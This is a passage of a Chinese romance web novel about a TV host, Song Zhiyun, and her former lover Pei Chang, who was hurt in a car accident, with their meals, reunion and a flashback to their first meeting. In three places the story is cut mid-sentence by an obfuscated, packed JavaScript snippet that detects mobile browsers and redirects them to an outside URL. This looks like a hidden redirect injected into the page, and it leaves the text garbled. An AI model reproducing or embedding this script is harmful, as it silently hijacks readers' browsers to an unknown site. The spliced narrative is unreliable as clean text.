宋知蕴注意到,他手里拿着一根通体为黑漆硬木的手杖,手杖顶端的黑色贝母杖柄,在光线下折射出珠光与虹色。 “靠那。”裴昶指了指办公桌旁的位置。 “谈谈我们的正事吧。”裴昶率先开口。 “好。”宋知蕴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“吃点蛋糕回回血,不够我让他们再去准备。”宋知蕴向来喜欢吃甜品充电,他清楚不过。 宋知蕴也不客气,拿起叉子细品,现在的她确实需要补充能量。 一小口蛋糕在嘴里化开,芋泥甜瞬时包裹味蕾。 “这个味道,Seely家的。”Seely是一家很有名的高端甜品店,她在这座城市有幸吃过几次。 “嘴巴还是这么灵。”宋知蕴在品尝美食上一向有一套。 绵密的芋泥在口中融化,中间包裹的椰子冻椰奶的香气与Q弹的口感与之形成反差,让整个蛋糕的层次丰富起来。 “味道怎么样?” “Seely一向实力超群,不过…”宋知蕴语言又止,心里默默嘀咕着什么。 “不过?”裴昶疑惑地看她。 “我还是喜欢你做的,有一种特别的味道。”是爱和家的味道。宋知蕴没有恭维的意思,她说的确实是大实话。 话锋到这很难不去提起,却又怪罪自己讲话不过大脑、太过心直口快。 这种话怎么好意思说出来?她们现在的关系不合适吧!她想。 “没想到我拥有一个忠实的小粉丝啊,有机会我一定再请你尝尝。”他看着她双眸含笑,应了下来。 4. “裴明彻,我们真的不能…” 宋知蕴坐在的沙发上,慢条斯理地往嘴里送蛋糕。 她今天只化了底妆,一头大波浪随意的披在肩头,此时简直慵懒味十足。 裴昶也不着急,就这么静静地看着,久违的一幕让他忍不住勾起唇角。 眼神中,含着几分复杂的情感。 直至宋知蕴往嘴里送上最后一口蛋糕,“我叫他们再送一份?”裴昶知道她向来喜吃甜食。 她拿起杯子喝了口橙汁,摇头,“今天就不用了,等下次有机会吧”。 “好,那我们聊聊?”裴昶语调轻柔,缓缓问。 宋知蕴抬眸,转过脸直勾勾看他,“行啊”。 “工作怎么样,忙不忙?”他柔声。 宋知蕴挑眉,“刚做这档节目那会是挺忙的,现在慢慢也算步入正轨了吧。”她没有犹豫,直言道。 她的目光落在裴昶身上,试图从他的表情中捕捉到更多的情绪。 “有没有交男朋友?”思索了一会,裴昶最终还是决定开口。他们是成不了了,但裴昶也真心实意希望她能找到一位体贴的男友。 宋知蕴愣了下,没想到他会问的这么直白。 宋知蕴摇头,眼底多了几分情绪,“没有。” 她桃花一直不错,可谈过了最好的其他人怎能入眼。那一瞬间,宋知蕴垂眸,眼神中闪过一丝落寞。 裴昶心头一松,却又涌起一股复杂的情绪,不知是庆幸还是心疼。 “你呢?”她接过话茬问他。 “没有。”他答,脸上勉强挤出一丝微笑,试图掩饰内心的波动。 “想嫁你的人多的是,怎么没找?”这答案令宋知蕴来了兴趣,刨根问底起来。 她的目光紧紧盯着裴昶,渴望能了解缘由。 他低头,沉默了几秒后,似乎下定了什么决心对上宋知蕴的眼眸,双唇轻启:“你上次也见到了,身体不好,暂时不打算考虑这方面。” 眼神中闪过的无奈,转瞬即逝。 在医院他连起身都困难的模样仍然历历在目,宋知蕴根本不敢想象,这几年他究竟过的有多痛苦。 尽管早已亲眼见过,可当这番话真的从裴昶嘴里说出来,宋知蕴还是觉得不可思议,脸上藏不住震惊的神色。 “到底怎么样,是不是都和上回一样严重!”神色紧张,有些急了,声音微微颤抖。 其实上回相对而言还说不上严重,不过裴昶当然不可能说。他笑,“没事。”他语调微微上扬,听起来倒是轻松。 他不忍看宋知蕴神情紧绷的模样,看来今天不交代是不行了。也罢,这么多年也都过去了,“前几年出了场车祸。治好了,但有些后遗症。” 他的声音很轻。 仿佛在讲述一件与自己无关的事情。 心,咯噔一下。 宋知蕴根本不敢相信自己的耳朵。 她垂眸,不到一分钟的时间里,内心有了猜测。 从不可思议到茫然再到笃定,种种迹象证明,根本无法反驳。 她攥着双手,眼眶不自觉有些湿润。 宋知蕴自诩不是个爱哭的人,就算受了委屈也只会躲起来偷偷难过。 就因自己这副德行,徐穗宁不止一次打趣她,“哎呀,我的宋小姐,你要我说什么好?每次遇到苦就只会自己一个劲地往下咽,都说爱哭的孩子才有糖吃,你呀,就是太倔强!” “芝芝,抬头。”裴昶见这情状,不忍道。 她想得太过入神,没做反应,泪水从脸庞滑落。 男人起身,到她身旁坐下。 “芝芝。”裴昶有些无措。 相恋的一年中倒是从未见她哭过。拿过抽纸,下意识想帮她擦眼泪。 宋知蕴回神,才发现原是坐于对面的人竟来到了身侧。她抬头,隐约看见他脸上滚落的泪痕,接着就见男人拿着纸巾的手伸来,感受着他轻柔擦拭的动作。 虽然迟到了太久,可她还是想说,“对不起。” 没能在最需要的时候陪在你的身边。声音带着些懊悔。 她控制不住自己,眼泪簌簌掉落,“对不起,明彻。是不是很疼。” 她哽咽,吐字有些含糊。根本不敢想象、也无法想象那会有多疼。 他眉峰蹙起,盯着她发红的眼眶,放缓了声音。 “不疼了,都过去了。你看我现在不是好好坐在这里吗?”他的语气轻柔,试图抚平她内心的伤痛。 “哄孩子一样”,她反驳,脑子里突然闪过助理来放手杖的场景,“你的腿,是不是受伤了。”她的目光中充满了关切和心疼。 既然看到了,也没必要瞒她。“腿嘛,当时是伤的比较严重,恢复的不错,就是有些小毛病。”他的确没撒谎,创伤性关节炎这种后遗症和严重的大腿、髌骨粉碎性骨折比起来算得了什么。 “后遗症吗?”宋知蕴懂了。 “嗯。”裴昶点头,没有否认。 眼泪这阀门一打开就好像怎么也合不上,根本无法轻易停下,对话间眼泪几次要往外涌。 可是她清清楚楚的记得,裴昶很喜欢球类运动。 在短短一年的相处时间里,他曾收看各种球赛,也经常上场打篮球。他球技不错,相约打球的朋友挺多。 如今他的腿这般状况怕是再也没办法回到球场了吧,宋知蕴心底满是遗憾。如同有块沉重的石头,压在她的心头。 裴昶想再为她擦擦眼泪,他的手刚要触碰到脸颊,女人越挨越近直至拥入他的怀中。 “你别推开我,就呆一会可以吗?”她抱住他,收紧手臂,生怕会消散了似的。 裴昶没有躲避,任由她这么抱着,喉结往下沉了沉。感受着她的体温,心中五味杂陈。 没抱多久,宋知蕴吸了吸鼻子,松手退出他的怀中。毕竟他们现在不是男女朋友。 裴昶望着近在咫尺面孔,无奈叹气,温热的指腹拂过她眼角的泪花,“我走的不还是挺稳的吗,那玩意儿就只在我状态不好的时候用用。”他眉峰蹙起,盯着她发红的眼眶,放缓了音调。 “明明你很喜欢打篮球。”宋知蕴在心中控诉着上天的不满、命运的不公。 裴昶微愣,没想到她还记得,掩了掩心中的情绪故作轻松地笑,“你看我都三十好几的人了,篮球打了十多年也该够了,没什么好遗憾的。”他的笑容中带着一丝释然。 —————— 裴昶极有耐心,她哭了多久,他就坐在一旁柔声安慰着,直至她状态好些了才作罢。 “好点了吗?”他的目光中充满了关切。 看她止住了眼泪,吸了吸鼻子,状态相对方才而言好了许多,只是眼眶还微微发红。 “嗯。”宋知蕴点头。 他嘴角带笑,“好。”他没什么安慰人的经验,若是再哭下去他也不知该如何应对了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴昶顺着她的指尖望去,只见那个熟悉的手杖明晃晃的靠在桌旁,他心中了然,笑着摇头。“这几天暂时用不上它,真需要的话家里还有根备用的。” 两人刚走出办公室大门时,苏衡及时迎了上来。 “都处理完了?”裴昶率先开口。“差不多了。”苏衡答。 “准备去吃饭,车钥匙给我。”裴昶伸手。“明彻,你今天想自己开?”苏衡惊讶。 自从出事以后,裴昶鲜少亲自开车。大多时候都是由他或是刘师傅代劳。 “是啊。”裴昶接过对面的人递来的钥匙,很快又递出了手里的另一把。 “知蕴的车,快结束我给发信息你开回去,地址晚点发你。” —————— 电梯里 “平常都是苏衡开车吗?”她看刚刚那架势,像是平常车钥匙都在苏衡手里。 “一般是他和刘师傅开。”裴昶的声音在电梯狭小的空间里显得格外清晰。 “因为腿?”宋知蕴的目光落在裴昶的腿上,带着一丝担忧。 “刚出事那阵子确实因为身体不好,后来嘛突然觉得老板是该有个老板样,久而久之也就习惯了。”他说得玩味,语调端得散漫。 那轻松的语气,仿佛在刻意淡化腿伤带来的影响。 裴昶说的轻松,但宋知蕴心知肚明这人是在逗她。既然他不打算说,她也不去深究。 电梯门缓缓打开,宋知蕴率先走出,裴昶绅士地紧随其后。 停车场内,两人走了不久,便在一辆劳斯莱斯面前停下。 裴昶熟练地打开车门,护着宋知蕴的头顶,让她坐进车里。自己则绕到驾驶座,启动。 5. “主要还是因为这。” 他们用餐的地方是一家名叫“辞荟”的私厨,私密性高,对于宋知蕴这样的名人来说,这里是再合适不过的就餐地点。 “辞荟”内共有清都、琼林、桃源、春晴、荷香、秋霁、傲霜七个雅间。 整体装修参照了四合院的布局,在装饰和陈设上别出心裁地融入了书法、绘画、诗词等诸多元素。 裴昶似乎是这里的常客,两人刚进门,服务员便热情地将他们领到了名为“琼林”的包厢。 “二位请坐,这是本店的菜单。”服务员面带微笑,微微弯腰,将两份菜单分别摆放在两人面前。 裴昶微微点头,礼貌地说道:“谢谢。” 服务员接着说道:“裴先生,老板交代过,如果您还有其他想点的菜,跟他说一声就好。” 她说完,轻轻欠身,没有久留,带上包厢门后转身离开了。 宋知蕴从包里拿出皮筋,双手熟练地将头发随意地盘起来,然后眨眨眼睛,好奇地问道:“你是这里的常客?” 裴昶往后靠了靠,靠在椅背上,轻抿了一口面前的茶,不紧不慢地说道:“萧杅桁你认识吗?这家店的老板。” 宋知蕴微微扬起眉毛,说道:“星迄影视的萧总,我当然认识。没想到他对美食也有研究。” 星迄是业内首屈一指的影视公司,听闻公司老总萧杅桁也和裴昶一样,是个厉害的人物。 裴昶的语速不急不缓,他微微抬起手,摆了摆,说道:“我们俩从小一起长大,铁哥们那种。他喜欢研究的东西很多,不过对美食的喜爱程度确实是独一无二的。” “他忙完工作后,有事没事就爱往这里跑。”一想到他这位兄弟的反差感,就觉得十分好笑。 宋知蕴惊讶,没想到这位萧总私下竟有如此反差的一面。 她又看了看坐在自己对面的裴昶,忽然觉得这一切似乎也挺正常的。 毕竟,传闻中不喜欢拍照的裴老板其实是个超级会摆Pose的摄影大师,这样鲜活的例子不就近在眼前吗? 这些大佬们真实的一面可不是她们这些普通人能够轻易了解到的。 裴昶微微抬起下巴,示意道:“有什么想吃的菜?” 宋知蕴拿起菜单,随意翻动了几下,眼睛在菜单上快速地扫过,实在是没有什么头绪。 翻到最后几页时,她停止了动作,把菜单放在桌上,耸了耸肩,说道:“你点吧,你知道我不擅长这个。” 从前在一起的时候,像点单、做攻略这些琐碎的事情都是由裴昶负责的,她很清楚自己喜欢什么、不喜欢什么。 “好。”裴昶也没有推辞,他心里清楚宋知蕴确实不太擅长点菜。 男人合上菜单,低下头,在手机上不停地敲打着,输入菜名;沸腾大墨鱼、避风塘黄金肋排、川香辣子鸡、虾汤龙虾球…… “口味有没有变化?有没有不喜欢吃的?”在确定菜品之前,还不忘先询问宋知蕴的喜好。 她微微摇了摇头,说道:“没有变,这些我都喜欢。” 宋知蕴喜欢香、辣类的菜品,裴昶也能够接受,两人在一起的时候,在饮食方面还是挺合拍的。 一切都确认好之后,裴昶轻轻敲了手机将信息发送了出去,然后抬起头,说道:“等会儿会先上几个凉菜,我们可以边吃边等。” 那边,萧杅桁看到菜单后很快发来了信息,“怎么点了这么多辣菜?”这几年裴昶的口味已经变得清淡了许多。 裴昶面无表情,编辑好信息发送了过去,说道:“回去再说。” “好。”对方很快回复了一句。 “辞荟”的上菜速度比宋知蕴预想的要快一些,没过多久,一桌子菜基本都已经上齐了。 两人先后动筷,宋知蕴尝遍了桌上所有的菜,毫不吝啬地称赞了一番。 宋知蕴的食量不算大,没吃多久就放下筷子。 裴昶抬起头,眼里掠过一丝疑惑,问道:“比以前吃得少了,最近是在减肥吗?” 她看了男人一眼,说道:“这几年比较注重身材管理,晚上会吃得少一些。” 裴昶微微点了点头,没有再多问。 宋知蕴吃着桌边的水果,静静地看着坐在对面的人。 餐厅柔和的灯光洒在裴昶身上,他吃饭的速度不紧不慢,修长的手指轻轻握住筷子,夹起一个龙虾球,送入口中,微微咀嚼着。 裴昶抬起头,见她一副欲言又止的样子,摩挲着手里的筷子,浅笑道:“怎么了?” 宋知蕴回过神来,喃喃道:“你的口味变清淡了。”那些和辣味沾边的菜,他都只是浅尝辄止。 男人转动了一下杯子,没有着急回答。 宋知蕴看着他,又道:“是腿伤需要忌口吗?”她暂时只能想到这个原因。 “嗯,算是。但……”他伸出手轻轻点了一下胸口,“主要还是因为这。”声音淡淡的,听不出太多的起伏。 宋知蕴皱起眉头,这个人明明吃不了辛辣的食物,却因为她点了满桌的辣菜。 “除了心脏病、腿伤,能不能告诉我你还有哪里受伤了?”她想知道那场车祸到底有多严重,竟然让他遍体鳞伤。 “芝芝,我听说过想了解别人兴趣爱好的,像你这样想了解病情的今天还是头一回见到。”裴昶静静地看着她,眼中似乎带着几分笑意。 “你也说了,我可以把你当成亲人。”亲人想要了解这些,应该不过分吧。 男人的神色有些黯淡,略微迟疑了一下,低头思索了片刻。 他当时伤得很严重,一时间不知道该从哪里说起。“我这里没有病例备份,等回去之后我让苏衡发给你。”算了,他的病也不是什么机密,如果让她了解了病情就能知难而退的话,也算是一件好事吧。 ——— 宋知蕴到家的时候已经接近九点了,洗漱完毕后,她做的第一件事就是打开电脑整理资料。 中途,徐穗宁来过一次。她拎着几盒烧烤,热情地邀请宋知蕴陪自己一起追剧、吃夜宵。 待合上电脑的时候,已是12点过后。 宋知蕴从座椅上站起,双手放在脖子上,扭动了两下僵硬的脖颈,然后打了个哈欠,准备关灯上床睡觉。 工作的疲惫夹杂着困意一同袭来,床上的人刚躺下没多久,便合上双眼沉沉地睡去了。 在梦中,她回到了大学时期。 江城,云玥山庄。 正门口,宋知蕴一家人从黑色宾利车上缓缓走下。宋轩柏走得稍快了两步,容毓拉着宋知蕴的手紧随其后。 姬效泽已经在门口等候多时了,看到来人,他开心地迎了上去:“天气热,快进去坐。” “姬叔叔。”宋知蕴唤了一声。 中年男人面色和蔼,笑吟吟地看着她,热情道:“才几个月不见,知蕴又漂亮了。我要是有个儿子,一定让他追求你。” 他对宋知蕴喜欢得不得了,小姑娘不仅长得漂亮,成绩还非常好。 要是能回到二十多年前,生个女儿的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482897|201852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情确实应该好好谋划谋划。 宋家与姬家在江城都是赫赫有名的家族,自十多年前的那次合作之后,宋轩柏与姬效泽相见恨晚,如今已然成为知心挚友。 别墅的内部装修是复古风格,此时姬灏明正坐在黄花梨木沙发上,和对面站着的男人聊着天。 那个男人气质出众,身上穿着一件白色的短款T恤,下摆塞进了深蓝牛仔裤里,外面还搭着一件短袖黄白休闲衬衫,把他的身形衬托得更加高挑。 “别客气,坐。”姬效泽引着宋轩柏三人坐在另一侧的沙发上,手法娴熟地泡起茶来。 站着的男人侧对着他们,宋知蕴坐下的时候顺势瞥了一眼,并没有看清他的长相。 裴昶听到了这边的动静,却没有任何动作,对沙发上的人说道:“外公,我出去透透气。” 话音刚落,他转身对着众人点了点头,独自朝着门口的方向走去。 姬效泽给三人添着茶,边说:“这是我姐姐的儿子,家里出了点事,来江城散散心。” 宋轩柏抿了一口茶,没有说话。别人家的,他也不方便多问。 姬灏明叹了口气,无奈地说道:“他妈妈走得早,结果他爸也……” 大人们聚在一起能聊的无非就是那些话题,宋知蕴虽然不太感兴趣,但出于礼貌还是认真地听着,眼睛微微低垂,偶尔点点头。 聊了一会儿,姬效泽似乎看出了宋知蕴的局促,轻声说道:“知蕴,茉茉没有回来,委屈你听我们讨论这些无聊的话题了。” 宋知蕴还没有接话,姬灏明又说道。 “是啊,妤茉老说年轻人和我们有代沟。”姬灏明边说边爽朗地笑了起来。 “要不要出去走走?不知道明彻那小子在不在外面。”姬灏明担心年轻人会觉得尴尬,又道。 宋知蕴思索了几秒钟,站起身来,微微欠身:“姬爷爷、姬叔叔,那我出去透透气,你们聊。” 姬妤茉人还在国外没有回来,听着他们聊天,确实觉得自己有些格格不入。 “去吧去吧,开饭的时候我让效泽给你发信息。”姬灏明做了一个摆手的动作,眼中满是对年轻人的慈爱。 宋知蕴和姬效泽的女儿姬妤茉是好朋友。 从小到大,她没少来姬家走动,对姬家的格局当然也非常熟悉。 宋知蕴径直朝着花园的凉亭走去,正值盛夏,园里的花草长得十分茂盛。 沿着石子路走,凉亭旁的荷塘里荷花正亭亭玉立。 亭中男人随意靠在椅背上,神情晦暗,望着池塘中一簇粉若有所思。 也不知是不是中了邪,她竟鬼使神差地走了过去,在他身旁的另一把椅子上坐下。 一时间,宋知蕴不知自己该不该开口,空气中弥漫着一种说不清道不明的尴尬。 她下意识滑动着手机,眼睛盯着屏幕,心里十分纠结。 就在这时,一阵铃声突然响起,裴昶很快回过神来,接起电话。 “吴叔。”很明显,打电话来的是一位长辈。 …… 两人距离不远,男人的话多多少少传进了宋知蕴的耳朵里。 他们在谈论公司的事情,因为专业不对口,她听得不是很明白。 宋知蕴百无聊赖地刷着短视频,时不时回复着姐妹的信息。 她并不是一个八卦的人,对别人家的事情没有什么兴趣。 说话间,裴昶的语气中带上了些许怒意,突然站起身来,皱着眉头,往凉亭外走去。 6. “吸引我的,不止是相貌。” 夏阳似火,浓郁的花香裹挟在温热的空气中,扑鼻而来。 微风轻拂,宋知蕴的发丝随之翩跹,轻柔地抚过她的脸颊。 约莫十分钟后,一道高大挺拔的身影重新出现在她的视野中。 此时,男人已然敛去了先前的怒意,换上了那副淡漠疏离的神情。 裴昶步伐稳健,不疾不徐。 午后的阳光倾洒在他右脸,给男人周身镀上了一层暖意。 宋知蕴抬眸,将这一幕尽收眼底。 刹那间,心底涌起一股难以抑制的冲动——这不就是天降的氛围感大片嘛!好想拍照留念啊。 裴昶自然地抽出椅子,从容落座,开口问道:“更喜欢君山银针还是信阳毛尖?” 他修长的手指熟练地摆弄着茶具,率先打破了沉默。 二人目光交汇,男人脸上扬起一抹礼貌的微笑。 宋知蕴心中一惊,实在想不到,这个一开始情绪低落的人,竟还能顾及到她的喜好。 “我对茶不太了解,平时就是跟着家里人随便喝喝。”宋知蕴略带歉意地回应。 她出身优渥,自幼跟在父母身边,学到了不少东西,可对品茶一事,实在提不起兴趣。相较之下,果汁更对她的胃口。 “家里最近出了点事,刚刚情绪不太好,没有好好招待你,实在不好意思。”裴昶继续手中的动作,轻轻晃动茶碗让茶叶均匀分布。 “没关系,真的不用放在心上。”宋知蕴连忙摆手,压根没把这事放在心上。 “尝尝君山银针。”裴昶将刚泡好的茶,往宋知蕴面前推了推,继而端起自己那盏,细细品茗。 他泡茶、品茶的动作与父亲一样娴熟,肯定是个老手,宋知蕴心里嘀咕着。 裴昶怕她尴尬,找了些话题与宋知蕴闲聊。他人很随和、不端架子,时不时还和她开几句玩笑。 期间,王阿姨来过一次:“您的果汁。” “谢谢阿姨。”裴昶接过蜜桃汁,转手递给宋知蕴,说道:“看你不太习惯喝茶,尝尝这个。” “谢谢。”宋知蕴礼貌道谢,心中不禁涌起一股暖意。 这短暂的相处,让她心底悄然生出了几分好感。 他们聊天的话题十分广泛。宋知蕴本就不是自来熟的性格,起初还有些放不开。 裴昶看出她有些拘谨,开始基本是由裴昶带着节奏。随着交谈的深入,她渐渐放松下来,言语间也随意了许多。 二人相谈甚欢,不知不觉,已到了饭点。 宋知蕴收到姬效泽的微信,整理了一下衣裙,起身说道:“姬叔叔说可以开饭了。” “我一会有事要出去,你先去吧。”裴昶坐着没动,目光静静地看着她。 “那我先走啦,拜拜。”宋知蕴摆了摆手,又担心他因家事而忘了吃饭,便叮嘱道:“裴明彻,记得吃饭~”她隐约记得姬爷爷是这么叫他的。 话一出口,宋知蕴就后悔了,才见第一面,怎么像老妈子一样叮嘱别人吃饭呢? 裴昶并未纠正,气定神闲地坐着,朝她挥了挥手,脸上带着笑意:“好。” …… 后来,宋知蕴怀着好奇,追问裴昶:“裴明彻。” “嗯?”男人迅速回复,关上手机屏幕,转头看向她。 “你什么时候开始对我有意思的?第一次见面的时候吗?” 裴昶笑而不语,目光缱绻地凝视着她。 宋知蕴调整了姿势,将头靠在他的肩膀上,捏了捏他健硕的手臂,问道:“怎么不说话呀?” “你呢?”裴昶没有直接回答,而是把问题抛了回去。 “哼,老狐狸!明明是我先问你的。” “女士优先,今天你先说。”裴昶狡黠一笑,丝毫没有让步的意思。 “裴老狐狸!”宋知蕴佯装生气,过了几秒,又说:“好吧,我大人有大量,先说就先说。” 裴昶靠在沙发上,把玩着宋知蕴的手,一副洗耳恭听的模样。 “其实……就是第一次见面的时候,我见色起意了。”宋知蕴眼睛亮晶晶的,毫不掩饰内心的激动,“你知道什么是超绝氛围感吗?当时你从光里走来,我差点控制不住,想掏出手机拍照。” 裴昶看着她眼中闪烁的光芒,忍不住笑了。 他轻抚着她的发丝,调侃道:“好看的人那么多,能坚持喜欢我到现在,辛苦我们芝芝了。希望以后也能继续保持。” “我才不是花心的人呢!你后来的表现,也给你加了分的,我可没那么肤浅。”宋知蕴又补充了一句,在裴昶听来,颇有几分挽尊的意味。 裴昶停下手中的动作,定定地看着她,仿佛在她脸上看到了什么有趣的东西:“好好好,真诚两个字,都快写在你脸上了,就在这儿。”他戳了戳宋知蕴的脸,笑着说道。 “你当我是小孩呢!”宋知蕴捏了捏裴昶放在自己脸上的手,催促道:“我说完了,轮到你了吧。”语气中满是期待。 “秘密都被你知道了,我有什么好处?”裴昶眨了眨眼,一脸坏笑。 宋知蕴无奈,起身捧起他的脸,轻轻吻了上去。浅尝辄止,没有过多停留:“可以了吗?裴老狐狸。” 两人视线交汇,宋知蕴心中暗叹:难道是我先喜欢上他的?果然还是自己比较肤浅。 “对自己这么没自信?”裴昶调侃道,“是第一次见面的时候。” 似乎怕她等急了,他很快接着说,“准确地说,是倾盖如故。吸引我的,不只是你的相貌,也在于我们相处以后。” 宋知蕴的眼睛瞬间亮了起来,心中的失落与担忧,一扫而空。 裴昶看着她神色的变化,唇角的笑意愈发深沉。心想:这小祖宗,真是藏不住事。 可宋知蕴似乎又想到了什么,声音低低地说:“我还以为你一直转移话题,是因为想法和我不一样呢。” 以他的性格,多半是怕说出来让自己失望。 “芝芝。”裴昶轻声呼唤,微微转过头,看着她。 “嗯?”宋知蕴一脸疑惑。 “自信点。”裴昶收起了玩笑的神色,轻轻吻了吻她的额头。 “你 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“是不是为了两周年特别定制的呀?”美衣配美人,简直绝了! “哇,今天这是从画里走出来的国风美人啊!”李莎的声音随后响起。 她看着面前的宋知蕴,满意地点点头,脑海中已经开始构思妆面了。 “莎莎姐,你怎么也跟着贫嘴。”宋知蕴笑着走进来,拉开椅子,在化妆台前坐下。 “化妆师欣赏美,天经地义!”李莎摊开手,一脸俏皮。 “莎莎姐说得太对了!”小王竖起大拇指,两人一唱一和,活像一对活宝。 “你们说,要是你俩组个组合表演双簧,会不会一举成名?”宋知蕴故作疑惑地打趣,逗得两人哈哈大笑。 “好了,不闹了。造型我都想好了,就差上手了。” 两个小时后,李莎正在为妆面做最后的收尾工作。这时,一阵敲门声响起。 节目组的工作人员小心翼翼地敲开门,目光在化妆间里找到宋知蕴,说道:“知蕴姐,导演让我跟你说,台长来了,一会下去一起接人。下楼前,麻烦你给导演发个信息。” “好,辛苦了。”宋知蕴礼貌回应,目送工作人员离开。 “大人物大概三点到吧?”李莎之前听说过。 “嗯,原定是这样,我问问他。”宋知蕴说着,打开微信给裴昶发消息:“忙吗?快到的时候发个信息,我和台里领导下楼接你。” 裴昶似乎没在忙,很快回复:‘已经在来的路上了,大概20分钟到。’ ‘好。’宋知蕴敲击键盘,还附上一张‘可爱小狗转圈.jpg’。 车上,裴昶看到消息,嘴角微微上扬。 他熄屏后,转头望向窗外,车流与树影飞速掠过。 自那年之后,他们再也没有像现在这样,自然地聊天了。 前阵子,听她用生疏的语气称呼自己为“您”“裴总”,他心底的滋味不知能该什么词汇形容。 7. “六年零五个月。” 12月1日下午2点50分,裴昶的车抵达电视台时,比原定时间提早了十分钟。 车门轻启,宋知蕴跟在台里领导身后,脸上扬起恰到好处的笑容,快步迎了上去。 她目光扫过周围,心中暗自惊叹。平日里难得一见的台里高层,今天竟齐聚于此,今天算是跟着沾光了。 裴昶从容地从车上下来,亲切自然地和领导们聊着天,寥寥数语就将氛围烘托得轻松融洽。 众人搭乘电梯,很快来到化妆间门口。 领导们十分识趣,没有继续逗留,只是叮嘱导演和宋知蕴照顾好裴昶。 导演也没有进入化妆间的打算,轻声向宋知蕴交代几句后,便匆匆返回录影棚,继续手头的工作。 宋知蕴推开化妆间的门,李莎一如既往地在里面等候。听到开门声,她下意识抬头,看到裴昶的瞬间,眼眸骤然亮了起来。她心中不禁感叹,难怪圈子里对裴昶传得神乎其神,说他明明可以靠脸吃饭,却偏要靠才华。 以往她对这种说法半信半疑,毕竟在她的认知里,颜值与实力并存的人少之又少,更何况是裴昶这样站在行业顶端的人物。说眉清目秀五官端正她信,神颜级别这样的形容听听就好,估摸着放出话的人是粉丝滤镜加太厚了。可如今亲眼所见,她才惊觉自己大错特错。 看来,只有宋知蕴这样的容貌能和同属于一个梯队。 李莎很快回过神来,礼貌地打招呼:“裴总好,我是台里的化妆师李莎。” 一旁的小王也赶忙上前几步,说道:“裴总您好,我是后勤组的小王,您有任何需要,尽管吩咐。” 小王来台里不久,第一次接待如此重量级的人物,紧张得手脚都不知道该往哪儿放,差点就给裴昶鞠上一躬。 “谢谢,今天麻烦你们了。”裴昶微笑回应,声音温和。 “坐吧,让李莎给你好好打扮打扮。”宋知蕴带着裴昶走到化妆桌前,贴心地为他推开椅子。 裴昶没有丝毫犹豫,大步走到椅子旁,顺从地坐下。 李莎在一旁默默观察着两人的互动,心中好奇。 这两人说话的方式,看起来不像是普通的工作关系,倒像是相识已久的老朋友,还需要再观察观察。 “裴总,您对妆容风格有什么特别要求吗?您尽管提,我们一定全力满足。”李莎小心翼翼地询问,今日这位可是台里好不容易请来的贵客,她可不敢怠慢。 裴昶笑着摇了摇头,语气柔和:“你是专业的,按你的想法来就好。” 宋知蕴站在一旁,没有插话,静静地看着这一切。小王站在她身旁,见她没有动作,也不敢擅自行动。 片刻后,宋知蕴轻声对小王说:“小王,站着累,先去沙发那边坐会儿吧。” 她看出小王面对裴昶时的紧张,想让小姑娘放松一下。 “谢谢知蕴姐。”小王连忙道谢,但又觉得裴昶还没发话,自己贸然坐下不太合适。 她初来乍到,缺乏经验,一时之间手足无措。 裴昶在各种场合摸爬滚打,经验丰富,立刻察觉到了气氛的尴尬,赶忙开口解围:“别紧张,听她的就行。把我当成普通同事,不用这么拘谨。” “谢谢裴总。”小王感激地看了裴昶一眼。 在得到宋知蕴投来的鼓励眼神后,才缓缓走到不远处的沙发前坐下。 与小王的紧张相比,李莎显得沉稳许多。她有条不紊地按照步骤,为裴昶上妆。 “芝芝。”裴昶突然开口。 “啊?嗯?”宋知蕴吓了一跳,没想到裴昶在电视台这样的场合,会如此亲昵地叫她。 几乎在她应声的同时,李莎和小王也惊讶地抬起头,两人的眼神在空中交汇。 此刻的心情真可以用惊恐来形容。这是什么情况?她们可以听这些吗? 裴昶指了指身旁的椅子,对宋知蕴说:“坐我旁边这把椅子,别总站着,穿高跟鞋站久了脚该疼了。” “好。”宋知蕴没有推辞,大大方方地坐下。 裴昶见她坐下,小声了些道:“等录完节目,别着急走,我有东西给你。” “一会记得提醒我。”宋知蕴回应道。 “好。”裴昶答应得干脆利落。 两人这番你来我往的对话,让李莎心中的疑惑愈发强烈。她和宋知蕴是多年的好友,可宋知蕴从未提过和裴昶有这样的关系。他们究竟是老熟人,还是裴昶单方面追求?她此刻存着一肚子疑惑。 恰在此时,宋知蕴抬头,与李莎的目光对上。她明白李莎心中的疑问,索性解释道:“我们俩认识挺久了。” 既然裴昶都没有避嫌的意思,她也没必要遮遮掩掩。 李莎的眼神仿佛在追问:“怎么不早说!认识多久了?” 宋知蕴看着她的表情,觉得有些好笑,便打算直接把事情说清楚:“认识的时间比你们想象的要久,算起来有六年左右。具体来说……” “六年零五个月,确实认识挺久了。”裴昶抢在宋知蕴之前接话。 宋知蕴只觉着自己的心跳漏了一拍,身体一僵,一时之间控制不住面部表情。 她微微皱眉,错愕地抬眸,清澈的眼瞳撞上他乌墨般的双眸。 裴昶此人于她而言如同不可磨灭的白月光,她余情未了这五年一天天都数着日子过。 可他,竟也把时间记得这样清楚。 房间里的气氛悄然变化,李莎和小王都感受到了异样,心中对两人关系的猜测又多了几分。数着日子过,这种桥段以往只在偶像剧里见过,如今发生发生在这两位身上会不会表示着他们曾经有些什么? 李莎强装镇定,换了把眼影刷,在眼影盘上取粉:“我和知蕴认识都没这么久,你们这缘分可不浅。”为了打破尴尬,她硬着头皮回应了一句。 